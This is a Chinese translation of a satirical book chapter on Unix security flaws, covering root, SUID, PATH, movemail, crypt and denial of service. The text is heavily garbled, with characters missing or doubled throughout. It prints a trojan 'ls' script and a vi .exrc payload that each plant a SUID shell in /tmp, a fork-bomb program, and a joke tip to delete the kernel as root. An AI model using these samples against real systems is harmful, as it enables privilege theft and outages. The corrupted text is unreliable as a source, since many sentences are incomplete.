四 种 Unix) 就就 不 有 必 要 了 。 所 有 列 出 的 任 都 很 容 易 理 解解 和 执执 行 。 又<br />
是 一 Unix 的 隐 藏 成 。 有 件 事 情 很 有 趣 , 如 果 你 的 系 管 理 员 不 备 破<br />
解解 sendmail 的 能 力 , 成 还 更 高 , 因 这 的 邮 件 不 能 作 。<br />
着 就就 像 是 敲 。<br />
错 在 哪 里<br />
期 Thu, Dec : CST<br />
来 自 克 斯 核 格 斯 <br />
发发 给 UNIX 痛 者<br />
题 支 持 Unix 机 <br />
有 我 在 想 , 自 从 这 开 始 淘 汰汰 Lisp 机 , 我 的 人 生 发发 生 了 怎 的 转 。<br />
直 到 两 前 , 我 还 单 枪 匹 马 地 支 持 着 大 约 LispM, 包 括括 硬 件 和 件 。 我 有 时 间 自 己<br />
钻 研 尝尝 试 , 在 午 离 开 , 或或 者 经 常 是 午 饭 前 , 我 总 能 读 读 报 。 我 有 很 长 时 间 享<br />
用 午 餐 , 午 五 点 差 不 多 就就 班 了 , 从 来 不 呆 到 点 。 在 那 一 半半 当 中 , 我<br />
有 一 个 周 在 作 。 那 是 来 这 时 , 我 觉 得 机 的 置 一 团 糟 , 所 那 个 唯 一 周 <br />
被被 我 用 来 修 复 字 空空 间 ( 总 怪 地 丢 东 西 ), 还 把把 配 置 数 据据 搬 来 搬 去去 。 如 果 Symbolics<br />
接接 我 报 告 的 故 障 , 最 有 补补 丁 并 到 系 中 。<br />
然 情 况 起 了 化 。 现 在 我 是 支 持 大 约 Sun 计 算 机 的 四 个 人 一 。Sun 提 供 硬 件 服<br />
, 所 我 们 管 件 。 我 还 负 剩 的 LispM 和 思 科 网 , 但 都 不 事 。 我 们 还 有<br />
一 Auspex 计 算 机 , 但 这 就就 是 一 计 成 服 的 Sun 机 。 现 在 我 总 是 作 得 很<br />
晚 , 多 周 都 在 班 , 甚 至 感 节 不 例 外 。 两 , 我 们 还 在 清 理 环 境 中 完 全<br />
无 法 理 解解 的 东 西 。 一 模 一 的 数 据据 有 好 几 份 , 无 法 并 ( 基 是 我 们 网 中 的 机<br />
列 表表 )。 购 买 Auspex 机 , 出 错 的 地 方 从 多 个 成 一 大 坨 。 是 要 好 些 , 但 还 是 比 不 <br />
前 , 那 时 候 人 们 经 常 在 服 恢 复 才 知 道 发发 生 了 故 障 。 就就 算 这 , 当 邮 件 服 宕<br />
机 时 ,“pwd” 跟 着 失 效 , 所 有 人 包 括括 管 理 员 , 都 没没 法 登 录 。 至 于 时 运 行 件 的 多 个<br />
版 , 最 好 的 结 果 是 麻 烦 透 顶 , 最 的 结 果 是 痴 心 妄 想 。 于 共 享 的 原原 因 , 新 版<br />
的 操 作 系 导 致 现 有 程程 序 无 法 运 行 。 我 向 Sun 报 告 故 障 , 不 是 无 人 理 睬 , 就就 是 被被 告 知<br />
这 符 期 的 作 方 式 。<br />
我 错 在 哪 ?<br />
<br />
译 注 Auspex Systems 建 于 , 首 先 开 发发 出 了 网 接接 存 储 (NAS) 备 。 曾 经 是 企 业 存 储 <br />
备 的 先 厂厂 商 , 破 。
第 章<br />
安 全<br />
啊 , 抱 歉 , 先 生 , 请 进 去 吧 , 刚 认 出 您<br />
是捔 管 理 员<br />
Unix 是 计 算 机 科 学 神 教 , 而 无 计 算 机 科 学 。<br />
盒 盒 大 卫卫 核 曼 金 斯<br />
基 从 义 开 始 , 术 语 “Unix 全 ” 就就 是 个 矛 盾 体 , 因 Unix 就就 不<br />
是 了 全 而 计 的 , 除 了 那 脆 弱 又 病 的 “root” 和 “ 非 root”。 挫<br />
攻 击 的 全 措 施 是 知 觉 的 补补 救 , 于 是 当 按按 照 期 运 行 时 Unix 并 不<br />
全 , 而 想 要 “ 全 地 ” 运 行 就就 得 强 迫 Unix 做 不 自 然 的 事 情 。 好 比 马 戏 团<br />
跳 舞 的 狗 , 但 是 少少 了 趣 盒 盒 尤尤 是 当 你 的 文 件 被被 这 狗 撕撕 咬 时 。<br />
Unix 安 全 的 矛 盾 世 界<br />
Unix 的 生 和 成 长 都 把把 全 排排 除 在 外 。Unix 的 基 就就 是 黑 园 , 而<br />
Unix 的 “ 包 ” 哲 学 又 和 全 系 的 要 求 格 格 不 入 。<br />
安 全 不 是捔 行 式 打 印 机捼<br />
Unix 用 现 它 操 作 系 服 的 方 式 现 计 算 机 全 。 一 堆 用 通 编<br />
辑 打 开 的 文 文 件 ( 例 如 .rhosts 和 /etc/groups) 控 制 着 全 置 , 于 是 一<br />
堆 小小 程程 序 盒 盒 中 每 个 都 据据 称 做 好 一 件 事 情 盒 盒 和 内 中 施 某 种 总<br />
体 策 略 的 若 把把 戏 , 就就 右 了 系 的 全 。<br />
这 种 做 法 控 制 行 式 打 印 机 还 不 错 , 但 是 用 于 系 全 却 不 谱 。 全<br />
不 是 行 式 打 印 机 要 让 计 算 机 全 , 系 的 每 个 部 分 都 不 置 身 事 外 。 于<br />
<br />
译 注 科 学 神 教 (scientology) 是 在 美 国 起 的 教 , 始 人 作 家 L 核 罗 核 伯 特 (L.<br />
Ron Hubbard), 张 “ 通 过 系 地 暴 露 和 消 除 对 往 伤 的 忆 , 将将 人 们 从 影 响 中 解解 救 出 来 ”, 称<br />
信 仰 和 践 基 于 致 的 研 究 并 符 科 学 原原 理 。 科 学 神 教 在 美 国 外 的 多 个 国 家 不 法 。
· · 安 全<br />
Unix 缺 少少 一 的 策 略 , 每 个 可 执 行 的 程 序 、 每 个 配 置 文挱 件 , 还 有捯 每 个 启 动<br />
脚 本捹 , 都 关 键 点 。 任 何 错 误 , 一 个 放 错 置 的 逗 , 一 个 错 权 限 的 文<br />
件 , 都 有 能 让 系 的 整 个 全 机 制 陷 入 灾 难 。<br />
Unix 的 “ 程程 序 员 ” 哲 学 将将 轻 微 的 全 缺 陷 捆捆 绑 成 妨 害 全 的 复 杂<br />
系 , 中 遍 布 陷 。 结 果 呢 ,Unix 的 每 个 部 分 不 光 自 身 必 经 过 检 查 , 还<br />
要 和 每 个 别 的 部 分 一 起 检 查 , 才 能 确 保 没没 有 全 题 。<br />
一 个 “ 全 运 行 的 Unix” 不 过 是 一 等 待 爆 发发 的 事 故 。 换 , 有<br />
机 的 Unix 才 是 全 的 Unix。<br />
盔 甲 的 窟 窿<br />
有 两 个 基 的 计 缺 陷 让 Unix 无 法 全 。 首 先 ,Unix 把把 全 信 息 存 放<br />
在 机 , 没没 有 密 , 没没 有 别 的 数 字 保 护 。 就就 像 把把 保 险 柜 钥 匙匙 放 在 桌 ,<br />
要 有 人 入 Unix 的 前 门 , 就就 能 搞搞 整 个 系 。,Unix 超 级 用 户 的<br />
概概 念 是 一 个 性 的 全 薄 弱 环 节 。 基 所 有 Unix 系 都 有 一 个 称 <br />
root 的 特 殊 用 户户 , 负 所 有 全 检 查 并 且 对 系 拥拥 有 完 全 控 制 。 超 级 用 户户 <br />
删 除 任 何 文 件 、 修 改 任 何 程程 序 , 或或 者 修 改 任 何 用 户户 的 , 而 不 留 <br />
供 查 的 痕 。<br />
超 级 用 户 , 超 级 缺 陷<br />
所 有 多 用 户户 操 作 系 都 需 要 拥拥 有 更 高 权 限 的 户户 。 除 了 Unix, 基 <br />
所 有 多 用 户户 操 作 系 都 据据 需 要 将将 高 权 限 分 散 。Unix 的 “ 超 级 用 户户 ” 采 用<br />
通 吃 的 策 略 。 按按 照 计 , 一 个 修 改 别 人 的 管 理 员 必 然 删 除 系<br />
的 每 个 文 件 。 你 个 高 中 生 来 做 系 备 份 , 却 有 能 有 意 或或 无 意 中 让 你 的<br />
系 大 门 敞 开 。<br />
多 Unix 程程 序 和 需 要 超 级 用 户户 权 限 。 复 杂 有 用 的 程程 序 需 要 建 文<br />
件 或或 写 入 目 录 , 但 运 行 程程 序 的 用 户户 并 无 权 限 。 了 确 保 全 , 超 级 用 户户 权<br />
限 运 行 的 程程 序 必 被被 仔 检 查 , 免 有 任 何 意 想 不 到 的 副 作 用 或或 者 擅擅<br />
自 提 升 权 限 的 漏 洞 。 但 很 不 幸 , 这 种 全 查 流 程程 几 从 执执 行 ( 例 如 , 大<br />
多 数 第 方 件 厂厂 商 不 愿 向 用 户户 开 放 源 码 , 所 者 即 使 想 查 没没 <br />
法 )。
盔 甲 的 窟 窿<br />
· ·<br />
SUID 的 问 题<br />
所 谓 SUID, 或或 者 setuid 这 个 Unix 概概 念 , 成 的 全 题 和 前 超 级 用<br />
户户 一 多 。SUID 是 全 机 制 一 个 生 的 洞 , 允 通 用 户户 运 行 需 要 特 殊<br />
权 限 的 命 。 当 运 行 时 ,SUID 程程 序 得 到 装装 程程 序 的 用 户户 的 权 限 , 而 不 是 运<br />
行 程程 序 的 用 户户 。 大 多 数 SUID 程程 序 root 装装 , 因 都 拥拥 有 超 级 用 户户 的 权 限 。<br />
Unix 操 作 系 的 计 者 想 让 我 们 相 信 ,SUID 是 高 级 操 作 系 的 一 个 基<br />
要 求 。 最 常 见 的 例 子 是 /bin/passwd, 用 户户 修 改 的 程程 序 。/bin/passwd<br />
通 过 修 改 /etc/passwd 的 内 容 来 修 改 用 户户 。 通 用 户户 直 接接 编 辑 /etc/<br />
passwd 是 不 被被 允 的 , 否 就就 修 改 别 人 的 了 。 而 /bin/passwd, 即<br />
使 通 用 户户 运 行 , 有 超 级 用 户户 权 限 , 但 修 改 运 行 程程 序 的 用 户户 的 而 不<br />
是 别 人 的 。<br />
AT&T 对 SUID 的 概概 念 特 别 满 意 , 所 还 请 了 专 利 。SUID 的 意 是 避<br />
免 让 一 个 大 的 子 系 来 承 担 整 个 系 的 全 , 从 而 简 化 操 作 系 的 计 ,<br />
然 而 经 验 表表 明 Unix 大 多 数 全 缺 陷 都 来 自 SUID 程程 序 。<br />
当 遇 到 移移 介 ( 例 如 和 SyQuest 驱 ),SUID 在 来 还 “<br />
全 ” 的 系 凿 出 入 侵 者 出 的 康 庄 大 道 要 向 中 放 入 一 个 SUID root<br />
程程 序 然 用 mount 命 挂 载 , 然 运 行 这 个 程程 序 即 获 得 root 权 限<br />
( 精 通 Unix 的 读 者 或或 不 意 这 种 攻 击 方 式 , 因 运 行 mount 需 要 输 入 超<br />
级 用 户户 。 然 而 很 惜 , 就就 是 了 克 服 这 种 “ 不 方 便 ”, 目 前 多 厂厂 商 都<br />
提 供 了 SUID 程程 序 来 挂 载 移移 介 )。<br />
SUID 的 目 标 并 不 局 限 于 超 级 用 户户 盒 盒 任 何 程程 序 都 置 成 SUID, 而<br />
任 何 用 户户 都 建 一 个 SUID 程程 序 在 运 行 时 获 得 权 限 ( 而 无 需 输 入 该 用<br />
户户 的 )。 在 情 况 中 ,SUID 是 一 个 布 置 陷 窃 权 限 的 有 效 , 在<br />
我 们 将将 要 看 到 。<br />
杜 鹃 鸟 蛋<br />
想 知 道 把把 事 情 搞搞 砸 的 果 的 , 不 妨 考 虑 克 核 斯 托托 尔尔 的 大 作<br />
《 杜 鹃 鸟 蛋 》 [] 的 一 个 例 子 。 斯 托托 尔尔 讲 述 了 通 过 利 用 流 行 的 Unix 编 辑 <br />
Emacs 一 个 无 害 的 movemail 的 “ 臭 虫 ”, 一 个 德 国 西 部 的 计 算 机 黑<br />
团 体 如 何 在 美 国 和 欧 洲 的 无 数 计 算 机 摧摧 城 拔 寨寨 。<br />
在 最 初 编 写 时 ,movemail 是 负 挪 邮 件 , 从 用 户户 在 /usr/spool/mail<br />
<br />
译 注 SyQuest Technology 在 至 生 的 移移 磁 , 某 些 型 使 用 SCSI 接接 。
· · 安 全<br />
的 邮 箱 到 目 录 。 还 算 不 错 , 没没 有 题 。 然 而 到 了 , 参参 与 MIT <br />
娜 目 的 米 歇 尔尔 核 R 核 格 雷 茨 格<br />
<br />
修 改 了 程程 序 。 格 雷 茨 格 想 用 movemail 通<br />
过 POPPOP( 邮 局 协 ) 从 娜 的 电 子 邮 局 收 邮 件 。 了 让 movemail<br />
和 POP 常 作 , 格 雷 茨 格 发发 现 需 要 把把 程程 序 置 SUID root。 甚 至 现 在 你<br />
还 能 在 movemail 的 源 码 中 找 到 格 雷 茨 格 的 注 释 <br />
/*<br />
* Modified January, by Michael R. Gretzinger (Project Athena)<br />
* Added POP (Post Office Protocol) service. When compiled -DPOP<br />
* movemail will accept input filename arguments of the form<br />
* "po:username". This will cause movemail to open a connection to<br />
* a pop server running on $MAILHOST (environment variable).<br />
* Movemail must be setuid to root in order to work with POP.<br />
* ...<br />
*/<br />
有 一 个 题 ,movemail 的 原原 作 者 没没 想 过 这 个 程程 序 有 一 要 运 行 在<br />
SUID root。 而 当 运 行 在 SUID root 时 , 该 程程 序 允 在 移移 邮 件 的 用 户户 读 <br />
或或 修 改 系 的 任 何 文 件 。 斯 托托 尔尔 提 到 的 德 国 黑 在 克 格 勃 的 指指 使 , 用 这<br />
个 臭 虫 黑 遍 了 整 个 美 国 和 欧 洲 的 军 用 电 脑 。<br />
最 这 个 臭 虫 被被 改 掉 了 。 行 补补 丁 阻 了 攻 击 <br />
/* Check access to output file. */<br />
if (access(outname,F_OK) == 0 && access(outname,W_OK) != 0)<br />
pfatal_with_name (outname);<br />
这 个 补补 丁 难 度 不 大 。 题 是 尽 管 movemail 身 有 行 码 盒 盒 而<br />
movemail 又 是 一 个 几 行 的 程程 序 的 一 小小 部 分 。 怎 么 能 指指 望 有 人 在 部<br />
署 前 查 这 些 码 并 修 复 这 个 题 ?<br />
SUID 的 另 一 个 问 题<br />
SUID 还 有 一 个 题 , 就就 是 给 用 户户 的 力 是 破 性 的 , 而 非 建 性 的 。 这<br />
个 题 很 恼 人 。SUID 程程 序 ( 一 般 ) 都 是 了 做 一 些 需 要 特 殊 权 限 的 事 情 。<br />
当 这 些 程程 序 开 始 运 行 , 或或 者 就就 是 因 一 不 小小 心 才 运 行 的 , 你 需 要 某 种 法 来<br />
杀 死 程程 。 但 要 是 你 自 己 没没 有 超 级 用 户户 权 限 , 就就 悲 摧摧 了 <br />
期 Sun, Oct :: EDT<br />
来 自 罗 伯 特 核 E 核 西 斯 托托 姆 <br />
<br />
译 注 Michael R. Gretzinger。
盔 甲 的 窟 窿<br />
· ·<br />
发发 给 UNIX 痛 者<br />
题 该 死 的 suid<br />
今 晚 我 在 收 某 机 的 响 时 间 , 因 它 于 一 能 有 题 的 网 。 我 还 有 别 的<br />
事 情 要 做 , 所 不 想 在 半半 个 小小 时 就就 这 么 枯 着 , 等 待 每 五 秒 钟 ping 一 该 机 。 所 <br />
我 输 入 <br />
% ping -t000 -f 0 host.domain > logfile &<br />
现 在 出 了 什 么 题 ?Ping, 原原 来 是 一 个 setuid root 程程 序 , 而 当 我 完 成 时 没 法 杀 死 这 个<br />
进 程 了 , 因 Unix 说 那 不 是捔 的 进 程 。 所 我 想 “ 没没 事 , 我 先 注 销 再 登 录 回 来 , 那 么<br />
这 个 程程 收 到 SIGHUP 信 然 , 对 吧 ?” 错 。 程程 还 在 那 , 现 在 彻 纠 结 了<br />
因 甚 至 没 法 把 它 切 换拰 到 前 台 !<br />
所 我 能 跑 出 去去 找 个 有 root 权 限 的 人 帮 我 杀 死 这 个 程程 ! 什 么 Unix 看 不 到 , 当 <br />
程程 的 ppid 是 你 的 shell 的 pid, 就就 明 这 个 程程 是 你 的 然 你 想 嘛 都 ?<br />
今 的 Unix 全 提 示 <br />
你 极 大 地 减 少少 遭 黑 入 侵 和 病 毒 感 染 的 风 险 , 要 登 录 成 root 然 输 入 <br />
% rm /vmunix<br />
进 程 很 廉 价 —— 也 很 危 险<br />
外 一 个 打 破 Unix 全 的 件 是 系 调 用 fork() 和 exec(), 用 来 让<br />
程程 序 建 程程 。 这 是 Unix 哲 学 的 心 地 带 。Emacs 和 FTP 用 子 程程 做 <br />
体 的 事 情 , 比 如 罗 列 文 件 。 这 和 全 相 的 题 是 这 些 程程 序 继 承 了 父 程程<br />
的 权 限 。<br />
轻 易 建 的 子 程程 是 一 柄 双 刃 剑 , 因 建 的 子 程程 能 是 一 个 shell,<br />
就就 像 敞 开 大 门 一 引 狼 入 。 当 父 程程 有 超 级 用 户户 权 限 , 生 的 子 程程 <br />
有 的 权 限 。 多 黑 通 过 建 的 超 级 用 户户 shell 获 得 系 的 入 。<br />
,“ 因 特 网 蠕蠕 虫 ”( 稍 讨 ) 就就 是 通 过 运 行 网 服 程程 ,<br />
然 使 建 shell 子 程程 , 从 而 攻 破 没没 有 备 的 计 算 机 。 既 然 在 常 操<br />
作 中 从 不 需 要 , 什 么 这 些 网 服捱 进 程 却 备 建 shell 子 程程 的 操 作 系<br />
权 限 呢 ? 因 每 个 Unix 程程 序 都 这 做 , 没没 有 法 拒拒 某 个 程程 序 ( 或或<br />
者 某 个 用 户户 , 在 的 情 况 ) 建 子 程程 。<br />
PATH 的 问 题<br />
Unix 必 通 过 命 到 执执 行 的 映 像 。 Unix 询 用 户户 的 PATH<br />
环 境 , 得 到 一 个 用 来 搜搜 索 的 目 录 列 表表 。 例 如 , 如 果 你 的 PATH 是 :/bin:/<br />
usr/bin:/etc:/usr/local/bin, 那 么 当 你 输 入 snarf,Unix 自 依 搜搜 索 目 录<br />
bin、/usr/bin、/etc、 和 /usr/local/bin, 来 找 到 snarf 程程 序 。<br />
至 一 切 都 好 , 然 而 如 义 的 PATH 是 一 种 常 见 的 灾 难
· · 安 全<br />
PATH=:.:/bin:/usr/bin:/usr/local/bin:<br />
当 “.” 盒 盒 表表 示 当 前 目 录 盒 盒 出 现 在 最 前 ,Unix 在 搜搜 索 /bin 前<br />
搜搜 索 当 前 目 录 。 在 开 发发 程程 序 时 , 这 种 做 法 极 方 便 。 这 是 一 种 通 过 给 别 的<br />
用 户户 套 来 破 全 的 有 力 手手 段 。<br />
假 你 是 大 学 生 , 但 学 校 很 龌 龊 不 给 你 超 级 用 户户 权 限 。 那 么 要 在 你 的<br />
目 录 建 一 个 做 ls 的 文 件 , 包 如 内 容 <br />
#!/bin/sh<br />
打 开 一 个 shell。<br />
/bin/cp /bin/sh /tmp/.sh 把把 shell 程程 序 复 制 到 /tmp。<br />
/etc/chmod /tmp/.sh 让 这 个 程程 序 拥拥 有 运 行 ls 的 用 户户 的 权 限 。<br />
/bin/rm \$0<br />
删 除 这 个 脚 。<br />
exec /bin/ls \$ \$ \$ \$ 运 行 真 的 ls。<br />
现 在 找 到 你 的 系 管 理 员 , 告 他 你 在 目 录 找 不 到 某 个 文 件 。 如 果<br />
这 个 管 理 员 犯 傻 了 , 就就 在 自 己 的 端 输 入 命 <br />
% cd <br />
% ls<br />
现 在 他 着 了 你 的 道 了 , 而 自 己 还 不 知 道 。 当 他 输 入 ls, 真 运 行 的 不 是<br />
/bin/ls, 而 是 你 的 目 录 心 鬼 胎 的 ls。 这 个 ls 把把 一 个 SUID shell 程程 序 放<br />
/tmp 目 录 , 一 运 行 就就 继 承 所 有 管 理 员 权 限 。 尽 管 管 理 员 觉 得 你 傻 , 但<br />
他 才 是 真 傻 。 在 意 的 时 候 , 你 运 行 新 建 的 /tmp/.sh1, 来 读 、 删<br />
除 , 或或 是 运 行 他 的 任 何 文 件 , 而 不 需 要 儿 经 地 知 道 他 的 再 登 录 成 他<br />
的 身 份 。 要 是 他 能 运 行 一 个 SUID root 的 shell 程程 序 ( 通 常 做 doit), 你 <br />
能 。 恭 喜 , 整 个 系 都 是 你 的 了 。<br />
启 动 时捉 的 陷 阱<br />
在 启 时 , 复 杂 的 Unix 程程 序 从 用 户户 目 录 或或 者 当 前 目 录 读 配 置 文<br />
件 , 来 置 初 始 和 缺 省 参参 数 使 程程 序 满 足 用 户户 的 规 格 。 但 是 很 不 幸 , 别 的 用 户户<br />
建 并 保 留 配 置 文 件 , 结 果 用 你 的 义 自 己 的 事 情 。<br />
一 个 极 有 的 陷 活 捉捉 了 vi, 那 个 多 系 管 理 员 所 喜 爱 的 , 简<br />
单 、 快 的 全 屏 编 辑 。 很 糟 糕 的 是 vi 不 能 一 编 辑 多 个 文 件 , 因 如 <br />
多 管 理 员 经 常 从 当 前 目 录 , 而 不 是 目 录 启 vi, 结 果 那 藏 着 麻 烦 。<br />
拜 托托 不 要 擅擅 自 尝尝 试 。
盔 甲 的 窟 窿<br />
· ·<br />
启 时 vi 在 当 前 目 录 搜搜 索 一 个 做 .exrc 的 文 件 , 就就 是 vi 的 启 文 件 。<br />
想 不 想 偷 些 权 限 ? 在 目 录 放 一 个 .exrc 的 文 件 , 内 容 如 <br />
!(cp /bin/sh /tmp/.s$$; chmod /tmp/.s$$)&<br />
然 等 不 知 情 的 系 管 理 员 从 那 个 目 录 启 vi。 当 她 这 么 做 了 , 看<br />
到 屏 幕 有 个 惊 闪 烁 一 , 然 就就 有 个 SUID shell 在 /tmp 等 着 你 , 和<br />
前 的 攻 击 效 果 一 。<br />
安 全 通 道 和 特 洛 伊 木捶 马<br />
标 准 Unix 没没 有 提 供 使 用 操 作 系 的 全 通 道 。 我 们 通 过 一 个 例 子 解解 释<br />
这 个 概概 念 。 考 虑 标 准 的 Unix 登 录 过 程程 <br />
login: jrandom<br />
password: <br />
当 你 输 入 时 , 如 何 才 能 知 道 你 对 的 是 真 真 的 Unix 程程 序 /bin/<br />
login, 而 不 是 某 个 危 险 的 赝 品 ? 在 黑 的 告 牌 , 这 种 被被 称 作 “ 特 洛 伊 木<br />
马 ” 的 冒 牌 比 比 皆 是 , 唯 一 的 目 的 就就 是 窃 你 的 用 户户 和 , 然 很 <br />
能 用 于 非 法 的 目 的 。<br />
全 通 道 是 计 算 机 全 的 基 要 求 , 然 而 对 于 大 多 数 Unix 版 这 在 理<br />
就就 不 行 /etc/getty 询 你 的 用 户户 ,/bin/login 让 你 输 入 , 这<br />
两 个 程程 序 没没 什 么 特 别 , 就就 是 程程 序 而 已 。 它 们 碰 成 向 你 询 非 常 机 密 而 敏<br />
感 的 信 息 的 程程 序 , 是 你 没 法 验 证 对 方挻 的 真 实 身 份 。<br />
倒 了 就 起 不 来掆<br />
Unix 全 , 在 墙 头 。<br />
Unix 全 , 摔摔 个 跟 头 。<br />
国 王 一 看 , 派 出 马 。<br />
满 头 大 汗汗 , 没没 法 。 <br />
在 被被 黑 掉 的 Unix 系 建 全 秩秩 序 是 非 常 困 难 的 。 入 侵 者 一 般 留<br />
各 种 启 陷 、 门 和 木 马 。 发发 生 全 事 故 , 和 收 拾 那 一 地 鸡 毛毛 相 比 ,<br />
完 全 装装 系 一 般 比 较 容 易 。<br />
<br />
译 注 改 编 自 著 的 英 语 童 谣 Humpty Dumpty, 已 知 的 最 版 出 现 在 。
· · 安 全<br />
例 如 , 我 得 不 久 前 有 MIT 的 计 算 机 被被 黑 了 。 攻 击 者 的 行 踪 露 ,<br />
他 最 初 利 用 的 漏 洞 被被 修 复 。 但 是 系 管 理 员 ( 一 巫 师 级 别 的 Unix<br />
管 理 员 ) 没没 有 意 到 , 攻 击 者 修 改 了 /usr/ucb/telnet 程程 序 。 在 接接 来 的 个<br />
月 , 要 该 计 算 机 的 用 户户 登 录 外 一 机 , 不 者 于 MIT 还 是 因<br />
特 网 , 修 改 的 telnet 程程 序 都 把把 用 户户 在 端 的 和 保 存 在 地 文 件<br />
中 。 这 个 攻 击 一 直 没没 被被 破 , 直 到 磁 被被 偷 偷 录 的 用 户户 和 撑 满 。<br />
攻 击 者 们 轻 易 地 隐 藏 行 踪 。 一 攻 破 Unix, 攻 击 者 就就 修 改 文 件 来<br />
掩 入 侵 。 多 系 管 理 员 检 查 文 件 的 修 改 期 , 发发 现 授 权 的 修 改 ,<br />
然 而 获 得 超 级 用 户户 权 限 的 攻 击 者 调 整 系 时 间 盒 盒 甚 至 借 Unix 专 门<br />
用 来 修 改 文 件 时 间 戳 的 能 。<br />
Unix 文 件 系 斥 着 保 护 和 权 限 的 。 哪 怕 一 个 文 件 、 目 录 或或 者<br />
备 错 了 权 限 , 都 给 整 个 系 的 全 成 隐 患 。 在 熟 练 黑 手手 中 这 是<br />
个 双 响 炮 , 一 方 攻 破 大 多 数 Unix 系 都 比 较 容 易 , 而 得 手手 再 攻<br />
击 留 漏 洞 比 较 容 易 。<br />
神 秘 莫 测 的 密<br />
密 是 计 算 机 全 的 要 一 环 。 然 而 Unix 没没 有 内 置 的 密 系 , 无 法<br />
自 对 硬 存 储 的 文 件 密 , 真 是 人 伤 感 。 当 有 人 从 你 的 Unix 机 <br />
偷 了 磁 ( 或或 者 备 份 磁 带 ), 那 么 用 户户 选 得 再 好 没没 用 攻 击 者 要 将将<br />
磁 接接 别 的 系 , 那 么 你 所 有 的 文 件 都 大 白 于 ( 把把 这 个 想 成 开 挤 系<br />
统 的 一 个 义 )。<br />
大 多 数 Unix 版 都 带 有 一 个 密 程程 序 crypt, 但 在 很 多 时 候 , 用 了 crypt<br />
反 而 爹 。 使 用 crypt 就就 像 给 心 脏 病 发发 作 的 人 两 片 阿 匹 林 。crypt 的 密 算<br />
法 弱 到 爆 盒 盒 几 前 一 个 MIT 人 智 能 验 的 研 究 生 就就 写 出 程程 序 , 能 将将<br />
crypt 密 的 文 件 自 解解 密 。<br />
我 们 不 知 道 贝 尔尔 验 何 决 在 最 开 始 的 Unix 系 就就 带 crypt,<br />
但 是 我 们 知 道 作 者 清 楚楚 这 个 程程 序 有 多 么 脆 弱 和 不 , 因 他 们 在 手手<br />
册 页 写 了 不 寻 常 的 声 明 <br />
保 罗 核 鲁 写 道 “ 有 时 候 你 在 某 些 版 的 ed 中 使 用 了 “x” 命 ( 密 文 件 ), 但 是 用 的 一<br />
个 版 ed 的 “x” 命 ( 启 小小 屏 幕 编 辑 )。 当 然 , 等 你 发发 觉 黄 花 菜 都 凉 了 。 然 你 胡 乱 敲 了 一 通<br />
键 , 搞搞 不 懂 什 么 系 似 没没 反 了 ( 你 不 知 道 , 系 了 屏 幕 回 显 让 你 输 入 密 密 钥 ),<br />
但 是 当 你 再 敲 回 车 , 编 辑 把把 你 的 作 品 常 存 了 , 所 你 耸 耸 肩 继 续 做 事 …盚…盚 然 过 了 很 久 你 存 <br />
出 , 毫毫 无 察察 觉 直 到 你 想 再 使 用 这 个 已 经 被被 密 的 文 件 盒 盒 你 已 经 没没 法 再 输 入 那 些 你 不 知 所 措 时 胡 乱<br />
输 入 的 密 钥 了 。 我 看 到 有 人 一 几 个 小小 时 把把 键 敲 得 砰 砰 乱 响 , 因 这 是 他 们 找 回 文 件 的 唯 一 希 望 。 这<br />
些 人 不 知 道 crypt 很 好 破 解解 的 。”)
盔 甲 的 窟 窿<br />
· ·<br />
臭 虫<br />
于 所 材 料 的 准 确 性 , 或或 对 任 何 目 的 的 用 性 , 不 提 供 销 性 , 或或 用 于 特 目 的 ,<br />
或或 它 方 的 , 明 确 的 或或 暗 示 的 保 证 。 相 的 , 贝 尔尔 电 验 对 该 程程 序 的 接接 收 者 的 使<br />
用 不 负 任 。<br />
外 , 贝 尔尔 验 没没 有 义 提 供 任 何 帮 , 或或 信 息 , 或或 文 档 。<br />
某 些 近 期 的 Unix 版 包 括括 了 一 个 程程 序 做 des, 现 了 国 家 全 局<br />
<br />
的<br />
数 据据 密 标 准 。 尽 管 DES( 标 准 ) 很 全 ,des( 程程 序 ) 却 不 然 , 因 在 运 行<br />
前 Unix 没没 有 来 验 明 des 的 真 身 。 当 运 行 des( 程程 序 ) 时 , 你 无 法 确 保 这<br />
个 程程 序 是 否 被被 过 手手 脚 , 比 如 保 存 你 珍 贵 的 密 钥 , 或或 者 把把 明 文 发发 给 别 人 。<br />
隐 藏 文挱 件 的 问 题<br />
在 缺 省 情 况 显 示 目 录 时 ,Unix 的 ls 程程 序 忽 略 字 点 开 头 的 文 件 ( 例<br />
如 .cshrc 和 .login)。 要 让 文 件 点 开 头 , 攻 击 者 就就 能 利 用 这 个 “ 能 ” 来<br />
隐 藏 危 害 系 的 。 已 经 发发 现 有 黑 在 不 知 情 的 用 户户 目 录 隐 藏 成 的<br />
信 息 。<br />
在 文 件 中 包 空空 格 或或 者 控 制 字 符 , 这 是 一 个 让 文 件 在 用 户户 眼 前 隐<br />
形 的 技 术 。 看 到 目 录 有 个 system 的 目 录 , 大 多 数 深 信 不 疑 的 用<br />
户户 ( 大 概概 用 过 麦 金 塔 或或 者 Windows) 不 深 究 盒 盒 尤尤 是 当 他 们 无 法 用 rm<br />
system 删 除 这 个 文 件 时 。“ 如 果 你 不 能 删 除 ”, 他 们 想 ,“ 那 一 是 Unix 的<br />
补补 丁 成 了 我 不 能 删 除 这 个 键 的 系 统 资 源 。”<br />
你 不 能 怪 这 些 用 户户 , 因 文 档 没没 有 提 到 过 “ 系 ” 目 录 于 Unix<br />
的 多 事 情 都 没没 有 在 文 档 提 过 。 他 们 如 何 知 道 这 个 目 录 的 字 尾 有 个<br />
空空 格 , 而 这 才 是 无 法 删 除 的 原原 因 ? 他 们 如 何 知 道 目 录 藏 着 从 AT&T 在 华 盛<br />
沃沃 拉拉 沃沃 拉拉 的 电 脑 偷 来 的 摘摘 要 ? 而 他 们 什 么 要 心 这 些 ? 全 是 系<br />
管 理 员 的 题 , 而 不 是 他 们 的 。<br />
拒拌 绝 服捱 <br />
拒拒 服 是 一 种 攻 击 方 式 , 不 是 从 计 算 机 获 机 密 信 息 , 而 是 让 处<br />
于 别 人 不 使 用 的 状 。 和 别 的 操 作 系 不 一 , 对 Unix 内 置 的 全 机<br />
制 少少 得 惊 人 。Unix 是 在 研 究 环 境 中 开 发发 的 , 因 要 用 户户 能 最 大 限 度 地 榨榨<br />
计 算 机 性 能 , 就就 算 侵 犯 了 别 人 的 CPU 时 间 或或 者 文 件 配 额 没没 系 。<br />
如 果 你 有 Unix 计 算 机 的 , 编 译 运 行 程程 序 就就 能 让 系 生 不 如 死 <br />
<br />
译 注 National Security Agency, 美 国 国 家 全 局 。
· · 安 全<br />
main()<br />
{<br />
while(){<br />
fork();<br />
}<br />
}<br />
